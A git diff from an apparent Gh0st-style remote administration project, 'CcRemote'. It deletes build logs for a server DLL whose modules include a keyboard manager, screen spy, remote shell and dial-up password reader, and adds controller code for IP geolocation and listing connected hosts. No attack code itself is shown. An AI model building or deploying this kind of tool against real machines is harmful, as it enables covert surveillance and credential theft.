diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
deleted file mode 100644
index 798b79c..0000000
--- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
+++ /dev/null
@@ -1,36 +0,0 @@
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.lib
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.exp
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.ipdb
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.iobj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.dll
-g:\ccremote\ccremote\ccmaindll\bin\server\server.dll\ccmaindll.pdb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\..\bin\server\server.dll\ccmaindll.dll
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log
deleted file mode 100644
index 9c1f1ee..0000000
--- a/CcMainDll/CcMainDll/Release/CcMainDll.log
+++ /dev/null
@@ -1,107 +0,0 @@
-G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  pch.cpp
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  Audio.cpp
-g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  ClientSocket.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
-  Buffer.cpp
-  KeyboardManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
-  until.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  AudioManager.cpp
-  Dialupass.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-  install.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
-  KernelManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
-  Manager.cpp
-  RegEditEx.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
-  ScreenManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
-  g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
-  ScreenSpy.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
-  ShellManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-  SystemManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
-  VideoCap.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
-  VideoManager.cpp
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  FileManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
-cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
-  dllmain.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(166): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
-    正在创建库 ..\bin\server\server.dll\CcMainDll.lib 和对象 ..\bin\server\server.dll\CcMainDll.exp
-  正在生成代码
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
-  All 364 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
-  已完成代码的生成
-  CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\bin\server\server.dll\CcMainDll.dll
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate
deleted file mode 100644
index fd0ad53..0000000
--- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
index a233a36..a958703 100644
--- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
+++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log
@@ -1,13 +1,13 @@
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\vc141.idb
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
-g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.ilk
-g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe
-g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.pdb
-g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
+f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.ilk
+f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.exe
+f:\myapp\ccremote\ccmaindll\bin\server\testloaddll.pdb
+f:\myapp\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
+f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
index 36ecdf0..d8f6575 100644
--- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
+++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.log
@@ -1,3 +1,2 @@
-G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
-  TestLoadDll.cpp
-  TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe
+C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。  此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
+  TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
index 03e57a1..bd1e4f2 100644
--- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
+++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.tlog/TestLoadDll.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
+Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
diff --git a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj
index 07de2f1..3edc7ae 100644
--- a/CcMainDll/TestLoadDll/TestLoadDll.vcxproj
+++ b/CcMainDll/TestLoadDll/TestLoadDll.vcxproj
@@ -72,11 +72,11 @@
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>..\bin\server</OutDir>
+    <OutDir>..\..\bin\server</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <LinkIncremental>true</LinkIncremental>
-    <OutDir>..\bin\server</OutDir>
+    <OutDir>..\..\bin\server</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo
index 5fb95da..6f34395 100644
Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ
diff --git a/CcRemote/CcRemote/CcRemote.cpp b/CcRemote/CcRemote/CcRemote.cpp
index 8372f80..9fe09e8 100644
--- a/CcRemote/CcRemote/CcRemote.cpp
+++ b/CcRemote/CcRemote/CcRemote.cpp
@@ -26,6 +26,17 @@ CCcRemoteApp::CCcRemoteApp()
 	// 支持重新启动管理器
 	m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
 
+	//打开文件句柄,检查QQwry.dat是村存在,然后给publi变量设置BOOL值
+	HANDLE	hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
+	if (hFile != INVALID_HANDLE_VALUE)
+	{
+		m_bIsQQwryExist = true;
+	}
+	else
+	{
+		m_bIsQQwryExist = false;
+	}
+	CloseHandle(hFile);
 	// TODO: 在此处添加构造代码,
 	// 将所有重要的初始化放置在 InitInstance 中
 }
diff --git a/CcRemote/CcRemote/CcRemote.h b/CcRemote/CcRemote/CcRemote.h
index b10fcb5..2205934 100644
--- a/CcRemote/CcRemote/CcRemote.h
+++ b/CcRemote/CcRemote/CcRemote.h
@@ -19,7 +19,7 @@ class CCcRemoteApp : public CWinApp
 {
 public:
 	CCcRemoteApp();
-
+	bool m_bIsQQwryExist;
 	CIniFile m_IniFile;//配置文件对象
 // 重写
 public:
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj b/CcRemote/CcRemote/CcRemote.vcxproj
index e71a682..504a472 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj
+++ b/CcRemote/CcRemote/CcRemote.vcxproj
@@ -76,12 +76,14 @@
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <LinkIncremental>true</LinkIncremental>
+    <OutDir>..\..\bin</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
+    <OutDir>..\..\bin</OutDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
@@ -199,6 +201,7 @@
     </ResourceCompile>
   </ItemDefinitionGroup>
   <ItemGroup>
+    <ClInclude Include="..\..\common\macros.h" />
     <ClInclude Include="CcRemote.h" />
     <ClInclude Include="CcRemoteDlg.h" />
     <ClInclude Include="CSettingDlg.h" />
@@ -211,6 +214,7 @@
     <ClInclude Include="pch.h" />
     <ClInclude Include="PublicStruct.h" />
     <ClInclude Include="Resource.h" />
+    <ClInclude Include="SEU_QQwry.h" />
     <ClInclude Include="targetver.h" />
     <ClInclude Include="TrueColorToolBar.h" />
   </ItemGroup>
@@ -239,6 +243,7 @@
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
     </ClCompile>
+    <ClCompile Include="SEU_QQwry.cpp" />
     <ClCompile Include="TrueColorToolBar.cpp" />
   </ItemGroup>
   <ItemGroup>
diff --git a/CcRemote/CcRemote/CcRemote.vcxproj.filters b/CcRemote/CcRemote/CcRemote.vcxproj.filters
index 8ed25d4..499ab59 100644
--- a/CcRemote/CcRemote/CcRemote.vcxproj.filters
+++ b/CcRemote/CcRemote/CcRemote.vcxproj.filters
@@ -63,6 +63,12 @@
     <ClInclude Include="CSettingDlg.h">
       <Filter>头文件</Filter>
     </ClInclude>
+    <ClInclude Include="..\..\common\macros.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+    <ClInclude Include="SEU_QQwry.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
   </ItemGroup>
   <ItemGroup>
     <ClCompile Include="CcRemote.cpp">
@@ -92,6 +98,9 @@
     <ClCompile Include="CSettingDlg.cpp">
       <Filter>源文件</Filter>
     </ClCompile>
+    <ClCompile Include="SEU_QQwry.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="CcRemote.rc">
diff --git a/CcRemote/CcRemote/CcRemoteDlg.cpp b/CcRemote/CcRemote/CcRemoteDlg.cpp
index dc9c29a..1ac7dc8 100644
--- a/CcRemote/CcRemote/CcRemoteDlg.cpp
+++ b/CcRemote/CcRemote/CcRemoteDlg.cpp
@@ -8,13 +8,15 @@
 #include "CcRemoteDlg.h"
 #include "afxdialogex.h"
 #include "CSettingDlg.h"
+#include "..\..\common\macros.h"
+
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
 #endif
 
 
-
+CCcRemoteDlg *g_pPCRemoteDlg = NULL;   //声明全局变量
 
 CIOCPServer *m_iocpServer = NULL;
 // 用于应用程序“关于”菜单项的 CAboutDlg 对话框
@@ -58,6 +60,13 @@ CCcRemoteDlg::CCcRemoteDlg(CWnd* pParent /*=nullptr*/)
 	: CDialogEx(IDD_CCREMOTE_DIALOG, pParent)
 {
 	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
+	//iCount = 0;
+	g_pPCRemoteDlg = this;
+	if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)//APP初始化会检查文件是否存在
+	{
+		m_QQwry = new SEU_QQwry;
+		m_QQwry->SetPath("QQWry.Dat");
+	}
 }
 
 void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -70,6 +79,7 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
 BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
 	//-------------自定义------------
 	ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
+	ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
 
 	//-------------系统-------------
 	ON_WM_SYSCOMMAND()
@@ -104,7 +114,6 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
 {
 	try
 	{
-		::MessageBox(NULL, "有连接到来!!", "", NULL);
 		switch (nCode)
 		{
 		case NC_CLIENT_CONNECT:
@@ -118,7 +127,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
 			//ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收
 			break;
 		case NC_RECEIVE_COMPLETE:
-			//ProcessReceiveComplete(pContext);       //这里时完全接收 处理发送来的数据 跟进    ProcessReceiveComplete
+			ProcessReceiveComplete(pContext);       //这里时完全接收 处理发送来的数据 跟进    ProcessReceiveComplete
 			break;
 		}
 	}
@@ -378,7 +387,7 @@ int CCcRemoteDlg::InitList()
 }
 
 
-void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing)
+void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
 {
 	m_CList_Online.InsertItem(0, strIP);           //默认为0行  这样所有插入的新列都在最上面
 	m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr);      //设置列的显示字符   这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
